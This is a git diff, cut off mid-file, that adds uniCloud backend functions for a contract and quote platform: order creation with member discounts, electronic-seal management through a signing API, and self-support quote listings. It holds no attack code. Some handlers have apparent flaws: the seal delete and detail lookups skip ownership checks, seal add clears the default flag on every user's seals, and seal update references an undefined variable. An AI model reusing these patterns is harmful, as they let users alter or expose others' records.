diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/pub.test.js b/uniCloud-tcb/cloudfunctions/router/service/client/pub.test.js
new file mode 100644
index 0000000..1f1de17
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/pub.test.js
@@ -0,0 +1,105 @@
+/**
+ * 此为云对象模式,可以在这一个对象中写多个函数,具体文档请查看
+ * https://vkdoc.fsq.pub/client/uniCloud/cloudfunctions/cloudObject.html
+ */
+'use strict';
+var vk; // 全局vk实例
+// 涉及的表名
+const dbName = {
+ //test: "vk-test", // 测试表
+};
+
+var db = uniCloud.database(); // 全局数据库引用
+var _ = db.command; // 数据库操作符
+var $ = _.aggregate; // 聚合查询操作符
+/**
+ * 权限注意:访问以下链接查看
+ * 文档地址:https://vkdoc.fsq.pub/client/uniCloud/cloudfunctions/cloudObject.html#内置权限
+ */
+var cloudObject = {
+ isCloudObject: true, // 标记为云对象模式
+ /**
+ * 请求前处理,主要用于调用方法之前进行预处理,一般用于拦截器、统一的身份验证、参数校验、定义全局对象等。
+ * 文档地址:https://vkdoc.fsq.pub/client/uniCloud/cloudfunctions/cloudObject.html#before-预处理
+ */
+ _before: async function() {
+ vk = this.vk; // 将vk定义为全局对象
+ // let { customUtil, uniID, config, pubFun } = this.getUtil(); // 获取工具包
+ },
+ /**
+ * 请求后处理,主要用于处理本次调用方法的返回结果或者抛出的错误
+ * 文档地址:https://vkdoc.fsq.pub/client/uniCloud/cloudfunctions/cloudObject.html#after-后处理
+ */
+ _after: async function(options) {
+ let { err, res } = options;
+ if (err) {
+ return; // 如果方法抛出错误,直接return;不处理
+ }
+ return res;
+ },
+ /**
+ * 模板函数
+ * @url client/pub.test.getInfo 前端调用的url参数地址
+ */
+ getInfo: async function(data) {
+ let { uid } = this.getClientInfo(); // 获取客户端信息
+ let userInfo = await this.getUserInfo(); // 获取当前登录的用户信息
+ let res = { code: 0, msg: '' };
+ // 业务逻辑开始-----------------------------------------------------------
+ console.log("getInfo请求参数", data);
+ res.userInfo = userInfo; // 返回前端当前登录的用户信息
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ },
+ /**
+ * 模板函数
+ * @url client/pub.test.getList 前端调用的url参数地址
+ */
+ getList: async function(data) {
+ let { uid, filterResponse, originalParam } = this.getClientInfo(); // 获取客户端信息
+ let res = { code: 0, msg: '' };
+ // 业务逻辑开始-----------------------------------------------------------
+ console.log("getList请求参数", data);
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ },
+ /**
+ * 云对象调用自身函数
+ * @url client/pub.test.test1 前端调用的url参数地址
+ */
+ test1: async function(data) {
+ let { uid, filterResponse, originalParam } = this.getClientInfo(); // 获取客户端信息
+ let res = { code: 0, msg: '' };
+ // 业务逻辑开始-----------------------------------------------------------
+ console.log("test1请求参数", data);
+ let res1 = await this.getInfo(data);
+ console.log("res1", res1);
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ },
+ /**
+ * 云对象调用任意云对象或云函数
+ * @url client/pub.test.test2 前端调用的url参数地址
+ */
+ test2: async function(data) {
+ let { uid, filterResponse, originalParam } = this.getClientInfo(); // 获取客户端信息
+ let res = { code: 0, msg: '' };
+ // 业务逻辑开始-----------------------------------------------------------
+ console.log("test2请求参数", data);
+ let callRes = await vk.callFunction({
+ url: 'client/pub.test.getInfo',
+ clientInfo: this.getClientInfo(),
+ data: {
+ a:1
+ },
+ });
+ console.log("callRes", callRes);
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+};
+
+module.exports = cloudObject;
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/quoteNumConfig/list/pub/list.js b/uniCloud-tcb/cloudfunctions/router/service/client/quoteNumConfig/list/pub/list.js
new file mode 100644
index 0000000..33652f4
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/quoteNumConfig/list/pub/list.js
@@ -0,0 +1,27 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/article/category/sys/list 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.getTableData({
+ dbName: 'jjx-quote-num-config',
+ pageIndex,
+ pageSize,
+ sortArr: [{"name": "sort", "type": "asc"}],
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/qyb/list/kh/buy.js b/uniCloud-tcb/cloudfunctions/router/service/client/qyb/list/kh/buy.js
new file mode 100644
index 0000000..d2205fd
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/qyb/list/kh/buy.js
@@ -0,0 +1,69 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/qyb/list/kh/buy 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, qybId} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const qyb = await vk.baseDao.findById({
+ dbName: 'jjx-qyb',
+ id: qybId
+ });
+
+ let amount = qyb.amount
+
+ let offAmount = amount
+ let saveAmount = 0, offRate = 100
+ if (userInfo.userLevel > 0) {
+ const userLevel = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-level",
+ whereJson: {
+ level: userInfo.userLevel
+ }
+ })
+ if (userLevel) {
+ offRate = parseInt(userLevel.valueAddRate)
+ offAmount = (amount * (parseInt(userLevel.valueAddRate) / 100)).toFixed(2)
+ saveAmount = (amount - offAmount).toFixed(2)
+ }
+ }
+
+ const orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ uid,
+ orderStatus: 0,
+ type: 13,
+ amount,
+ offAmount,
+ saveAmount,
+ offRate,
+ }
+ })
+
+ await vk.baseDao.add({
+ dbName: "jjx-order-goods",
+ dataJson: {
+ orderId,
+ goodsId: qybId,
+ num: 1,
+ goodsName: `金久信签约宝:${qyb.name}`,
+ goodsPrice: amount,
+ goodsCover: null,
+ }
+ })
+
+ res.data = orderId
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/qyb/list/kh/payList.js b/uniCloud-tcb/cloudfunctions/router/service/client/qyb/list/kh/payList.js
new file mode 100644
index 0000000..c635434
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/qyb/list/kh/payList.js
@@ -0,0 +1,56 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/qyb/list/kh/buy 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, qybId} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const {pageIndex, pageSize} = data
+ res = await vk.baseDao.selects({
+ dbName: 'jjx-sign-pay_list',
+ pageIndex,
+ pageSize,
+ whereJson: {
+ userId: uid
+ },
+ sortArr: [{"name": "_add_time", "type": "desc"}],
+ foreignDB: [
+ {
+ dbName: 'jjx-contract',
+ localKey: "contractId", // 主表外键字段名
+ foreignKey: "_id", // 副表外键字段名
+ as: "contract",
+ limit: 1, // 当limit = 1时,以对象形式返回,否则以数组形式返回
+ },
+ {
+ dbName: 'jjx-user-contract',
+ localKey: "contractId", // 主表外键字段名
+ foreignKey: "contractId", // 副表外键字段名
+ as: "userContract"
+ }
+ ],
+ });
+ res.rows.map(item => {
+ if (item.userContract) {
+ let mineContract = null
+ item.userContract.map(c => {
+ c.isMine = c.userId === uid
+ if (c.isMine) mineContract = c
+ return c
+ })
+ item.mineContract = mineContract
+ }
+ return item
+ })
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/qyb/list/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/qyb/list/pub/getList.js
new file mode 100644
index 0000000..787e8bf
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/qyb/list/pub/getList.js
@@ -0,0 +1,29 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/article/list/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const {pageIndex, pageSize} = data
+ res = await vk.baseDao.select({
+ dbName: 'jjx-qyb',
+ pageIndex,
+ pageSize,
+ sortArr: [
+ {name: "sort", type: "asc"}
+ ],
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/seal/kh/add.js b/uniCloud-tcb/cloudfunctions/router/service/client/seal/kh/add.js
new file mode 100644
index 0000000..0066e6d
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/seal/kh/add.js
@@ -0,0 +1,73 @@
+'use strict';
+const dbName = require('../../../../dao/config.js')
+module.exports = {
+ /**
+ * 添加印章
+ * @url client/seal/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, imageBase64, imageUrl, remark, type, enable, } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ const {fadadaCustomerId} = userInfo
+
+ // 上传印章
+
+
+
+
+
+ const fadadaRes = await pubFun.fadada('add_signature.api', {
+ customer_id: fadadaCustomerId,
+ signature_img_base64: imageBase64
+ })
+
+ if(fadadaRes.code != 1 ) {
+
+ return {
+ code: -1,
+ msg: fadadaRes.msg
+ }
+ }
+
+ await vk.baseDao.update({
+ dbName: dbName.seal,
+ whereJson: {
+ _id : _.exists(true),
+ },
+ dataJson: {
+ isDefault: false
+ }
+ })
+
+ const sealId = await vk.baseDao.add({
+ dbName: dbName.seal,
+ dataJson: {
+ imageUrl: imageUrl,
+ remark,
+ type,
+ enable,
+ isDefault: true,
+ fadadaSealId: fadadaRes.data.signature_id,
+ userId: uid
+ }
+ })
+
+ vk.baseDao.update({
+ dbName: dbName.user,
+ whereJson: {
+ _id: uid
+ },
+ dataJson: {
+ fadadaSealId: fadadaRes.data.signature_id
+ }
+ })
+ res.data = fadadaRes
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/seal/kh/delete.js b/uniCloud-tcb/cloudfunctions/router/service/client/seal/kh/delete.js
new file mode 100644
index 0000000..1b471b2
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/seal/kh/delete.js
@@ -0,0 +1,28 @@
+'use strict';
+const dbName = require('../../../../dao/config.js')
+module.exports = {
+ /**
+ * 删除印章
+ * @url client/seal/kh/delete 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, _id } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ await vk.baseDao.delete({
+ dbName: dbName.seal,
+ whereJson: {
+ _id
+ }
+ })
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/seal/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/seal/kh/getList.js
new file mode 100644
index 0000000..e049fb3
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/seal/kh/getList.js
@@ -0,0 +1,27 @@
+'use strict';
+const dbName = require('../../../../dao/config.js')
+module.exports = {
+ /**
+ * 获取印章列表
+ * @url client/seal/kh/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, pageIndex, pageSize } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ res = await vk.baseDao.selects({
+ dbName: dbName.seal,
+ pageIndex,
+ pageSize,
+ whereJson: {
+ userId: uid
+ }
+ })
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/seal/kh/update.js b/uniCloud-tcb/cloudfunctions/router/service/client/seal/kh/update.js
new file mode 100644
index 0000000..5fe7ea0
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/seal/kh/update.js
@@ -0,0 +1,39 @@
+'use strict';
+const dbName = require('../../../../dao/config.js')
+module.exports = {
+ /**
+ * 更新印章
+ * @url client/seal/kh/update 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, _id, imageUrl, remark, type, enable, isDefault } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ if(isDefault) {
+ await vk.baseDao.update({
+ dbName: dbName.seal,
+ dataJson: {
+ isDefault: false
+ }
+ })
+ }
+ await vk.baseDao.update({
+ dbName: dbName.seal,
+ whereJson: {
+ _id
+ },
+ dataJson: {
+ image,
+ remark,
+ type,
+ isDefault
+ }
+ })
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/add.js b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/add.js
new file mode 100644
index 0000000..6d56008
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/add.js
@@ -0,0 +1,25 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/selfSupport/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.add({
+ dbName: "jjx-self-support",
+ dataJson: {...data, ...{status: 0, dealName: ''}}
+ })
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/addOrder.js b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/addOrder.js
new file mode 100644
index 0000000..71f1ac4
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/addOrder.js
@@ -0,0 +1,133 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/selfSupport/kh/addOrder 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {
+ uid,
+ contentList,
+ amountList,
+ type,
+ receiveAddressRegion,
+ email,
+ wechat,
+ receiveAddress,
+ requestName,
+ contactName,
+ contact,
+ remark,
+ } = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const configList = await vk.baseDao.select({
+ dbName: "jjx-coop-config",
+ whereJson: {
+ type
+ }
+ })
+
+ let orderId = null
+ const goodsList = []
+ let amount = 0
+ configList.rows.forEach(config => {
+ config.contents.forEach(content => {
+ if (content.amountList) {
+ content.amountList.forEach(amountItem => {
+ amountList.forEach(amountTmp => {
+ const [contentIndex, amountIndex, costNum] = amountTmp.split(',')
+ if (contentIndex === content._index && amountIndex === amountItem._index) {
+ amount += amountItem.amount
+ goodsList.push({
+ goodsName: `${config.name}-${content.title}-${amountItem.title}`,
+ num: contentList.length,
+ goodsPrice: amountItem.amount,
+ goodsCover: null,
+ goodsId: null,
+ costNum,
+ contentIndex,
+ amountIndex,
+ configId: config._id
+ })
+ }
+ })
+ })
+ }
+ })
+ })
+
+ amount *= contentList.length
+ let offAmount = amount
+ let saveAmount = 0, offRate = 100
+ if (userInfo.userLevel > 0) {
+ const userLevel = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-level",
+ whereJson: {
+ level: userInfo.userLevel
+ }
+ })
+ if (userLevel) {
+ offRate = parseInt(userLevel.valueAddRate)
+ offAmount = (amount * (parseInt(userLevel.valueAddRate) / 100)).toFixed(2)
+ saveAmount = (amount - offAmount).toFixed(2)
+ }
+ }
+
+ if (type === 2) {
+ amount = saveAmount = offAmount = offRate = 0
+ }
+
+ orderId = await vk.baseDao.add({
+ dbName: "jjx-order",
+ dataJson: {
+ orderNo: vk.pubfn.createOrderNo("39XU", 20),
+ uid,
+ orderStatus: type === 2 ? 10 : 0,
+ type: 1,
+ subType: type,
+ amount,
+ saveAmount,
+ offAmount,
+ offRate,
+ addressRegion: contentList[0].addressRegion
+ }
+ })
+
+ goodsList.forEach((item, index) => {
+ goodsList[index].orderId = orderId
+ })
+
+ await vk.baseDao.adds({
+ dbName: "jjx-order-goods",
+ dataJson: goodsList
+ })
+ await vk.baseDao.add({
+ dbName: "jjx-order-selfProduct",
+ dataJson: {
+ orderId,
+ type,
+ receiveAddressRegion,
+ email,
+ wechat,
+ receiveAddress,
+ requestName,
+ contactName,
+ contact,
+ remark,
+ contentList,
+ uid,
+ }
+ })
+
+ if (type < 2) res.data = orderId
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/addQuote.js b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/addQuote.js
new file mode 100644
index 0000000..f3f6c37
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/addQuote.js
@@ -0,0 +1,33 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/selfSupport/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, quoteId, files, amount, remark} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.update({
+ dbName: "jjx-self-support-quote-list",
+ whereJson: {
+ quoteId,
+ userId: uid
+ },
+ dataJson: {
+ files,
+ amount,
+ remark
+ }
+ })
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getDetail.js b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getDetail.js
new file mode 100644
index 0000000..5bc2901
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getDetail.js
@@ -0,0 +1,27 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/selfSupport/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, _id} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-self-support",
+ whereJson: {
+ _id
+ }
+ })
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getDetailByOrder.js b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getDetailByOrder.js
new file mode 100644
index 0000000..49e8433
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getDetailByOrder.js
@@ -0,0 +1,36 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url admin/selfProduct/order/sys/getDetail 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, orderId} = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res.data = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-order-selfProduct",
+ whereJson: {
+ orderId
+ }
+ })
+
+ if (res.data.companyId) {
+ res.data.company = await vk.baseDao.findByWhereJson({
+ dbName: "uni-id-users",
+ whereJson: {
+ _id: res.data.companyId
+ }
+ })
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getList.js
new file mode 100644
index 0000000..e98d160
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getList.js
@@ -0,0 +1,92 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/selfSupport/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const whereJson = {uid}
+ if (vk.pubfn.isNotNull(data.status)) {
+ whereJson.status = parseInt(data.status)
+ }
+ res = await vk.baseDao.select({
+ dbName: "jjx-self-support",
+ whereJson,
+ pageIndex,
+ pageSize,
+ sortArr: [
+ {name: "_add_time", type: "desc"},
+ ],
+ })
+
+ for (let i in res.rows) {
+ const row = res.rows[i]
+ const quoteList = await vk.baseDao.select({
+ dbName: 'jjx-self-support-quote-list',
+ whereJson: {
+ quoteId: row._id
+ },
+ })
+ if (quoteList.rows && quoteList.rows.length > 0) {
+ for (let j = 0; j < quoteList.rows.length; j++){
+ quoteList.rows[j].user = await vk.baseDao.findById({
+ dbName: "uni-id-users",
+ id: quoteList.rows[j].userId
+ })
+ }
+ res.rows[i].quoteList = quoteList.rows
+ }
+ if (row.status === 2) {
+ const quote = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-self-support-quote-list',
+ whereJson: {
+ quoteId: row._id,
+ status: 1
+ }
+ })
+ res.rows[i].quote = quote
+ res.rows[i].otherUser = await vk.baseDao.findById({
+ dbName: "uni-id-users",
+ id: quote.userId,
+ fieldJson: {
+ _id: true,
+ company: true,
+ person: true,
+ businessCard: true,
+ accountType: true,
+ }
+ })
+
+ res.rows[i].contract = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-contract',
+ whereJson: {
+ sheetId: row._id,
+ type: 'self-support',
+ },
+ })
+ }
+ res.rows[i].user = await vk.baseDao.findById({
+ dbName: "uni-id-users",
+ id: res.rows[i].uid,
+ fieldJson: {
+ _id: true,
+ company: true,
+ person: true,
+ businessCard: true,
+ accountType: true,
+ }
+ })
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getQuoteDetail.js b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getQuoteDetail.js
new file mode 100644
index 0000000..328debb
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getQuoteDetail.js
@@ -0,0 +1,52 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/selfSupport/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, _id} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.selects({
+ dbName: "jjx-self-support-quote-list",
+ getOne: true,
+ whereJson: {
+ quoteId: _id,
+ status: 1
+ },
+ foreignDB: [
+ {
+ dbName: "uni-id-users",
+ localKey: "userId",
+ foreignKey: "_id",
+ as: "user",
+ limit: 1, // limit=1则以对象形式返回
+ fieldJson: {
+ _id: true,
+ company: {
+ companyName: true
+ },
+ person: {
+ personName: true
+ },
+ businessCard: true,
+ accountType: true,
+ manager: {
+ personName: true
+ },
+ },
+ },
+ ]
+ })
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getQuoteList.js b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getQuoteList.js
new file mode 100644
index 0000000..e82f58d
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/selfSupport/kh/getQuoteList.js
@@ -0,0 +1,81 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/selfSupport/kh/add 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, pageIndex, pageSize} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const whereJson = {
+ userId: uid
+ }
+ if (vk.pubfn.isNotNull(data.status)) {
+ whereJson.status = parseInt(data.status)
+ }
+ res = await vk.baseDao.select({
+ dbName: "jjx-self-support-quote-list",
+ whereJson,
+ pageIndex,
+ pageSize,
+ sortArr: [
+ {name: "_add_time", type: "desc"},
+ ],
+ })
+
+ for (let i in res.rows) {
+ const row = res.rows[i]
+ res.rows[i].sheet = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-self-support',
+ whereJson: {
+ _id: row.quoteId,
+ }
+ })
+ if (res.rows[i].sheet) {
+ res.rows[i].otherUser = await vk.baseDao.findById({
+ dbName: "uni-id-users",
+ id: res.rows[i].sheet.uid,
+ fieldJson: {
+ _id: true,
+ company: true,
+ person: true,
+ businessCard: true,
+ accountType: true,
+ }
+ })
+ res.rows[i].user = await vk.baseDao.findById({
+ dbName: "uni-id-users",
+ id: row.userId,
+ fieldJson: {
+ _id: true,
+ company: true,
+ person: true,
+ businessCard: true,
+ accountType: true,
+ }
+ })
+
+ res.rows[i].uid = res.rows[i].userId
+
+ if (row.status === 1) {
+ res.rows[i].contract = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-contract',
+ whereJson: {
+ sheetId: row.quoteId,
+ type: 'self-support',
+ },
+ })
+ }
+ } else delete res.rows[i]
+ }
+ res.rows = res.rows.filter(item => item)
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/site_config/pub/detail.js b/uniCloud-tcb/cloudfunctions/router/service/client/site_config/pub/detail.js
new file mode 100644
index 0000000..134be5a
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/site_config/pub/detail.js
@@ -0,0 +1,22 @@
+'use strict';
+module.exports = {
+ /**
+ * @url client/site_config/pub/detail 前端调用的url参数地址
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let res = { code: 0, msg: "" };
+ const siteConfig = await vk.baseDao.findById({
+ dbName: "jjx-site-config",
+ id: 'jinjiuxingangcheng'
+ }) || {};
+ res.data = {
+ registerPcBgImage: siteConfig.registerPcBgImage || '',
+ registerH5BgImage: siteConfig.registerH5BgImage || '',
+ registerSignPcBgImage: siteConfig.registerSignPcBgImage || '',
+ registerSignH5BgImage: siteConfig.registerSignH5BgImage || ''
+ };
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/spot/amount/pub/getDetail.js b/uniCloud-tcb/cloudfunctions/router/service/client/spot/amount/pub/getDetail.js
new file mode 100644
index 0000000..598175f
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/spot/amount/pub/getDetail.js
@@ -0,0 +1,26 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/goods/list/pub/getDetail 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
